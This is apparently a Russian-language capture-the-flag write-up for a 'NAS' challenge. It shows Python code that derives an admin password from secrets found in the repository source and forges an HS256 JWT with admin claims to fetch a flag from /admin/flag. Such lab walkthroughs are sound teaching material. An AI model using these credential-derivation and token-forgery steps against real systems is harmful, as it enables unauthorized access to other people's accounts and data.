1.5 KiB
1.5 KiB
Writeup для NAS (русская версия)
Цель
Зайти в хранилище
1 Задание Посчитать пароль админа и войти
Пароль админа — первые 12 символов:
sha1(KETTLE_PROOF + ":" + PRINTER_PROOF) находим из исходников репозитория
Входим
Пример:
import hashlib
admin_pass = hashlib.sha1(f"{KETTLE_PROOF}:{PRINTER_PROOF}".encode()).hexdigest()[:12]
print(admin_pass)
Логин: /login с:
username=admin
password=<admin_pass>
Сохраните cookie sid из ответа.
Получаем доступ к файлу .wav
Дальше решение из папки Stegano.
2 задание Сковать bearer JWT и забрать финальный флаг
/admin/flag требует:
- cookie
sid(админская сессия) Authorization: Bearer <jwt>
Ограничения на payload:
role: "admin"kpf: <KETTLE_PROOF>aud: "nas-admin"iat: текущее UNIX‑время (допуск примерно ±120 сек)
Пример:
import time, jwt
payload = {
"role": "admin",
"kpf": KETTLE_PROOF,
"aud": "nas-admin",
"iat": int(time.time()),
}
token = jwt.encode(payload, JWT_SECRET, algorithm="HS256")
print(token)
Запрос:
GET /admin/flag
Cookie: sid=<sid>
Authorization: Bearer <token>
В ответе — финальный флаг.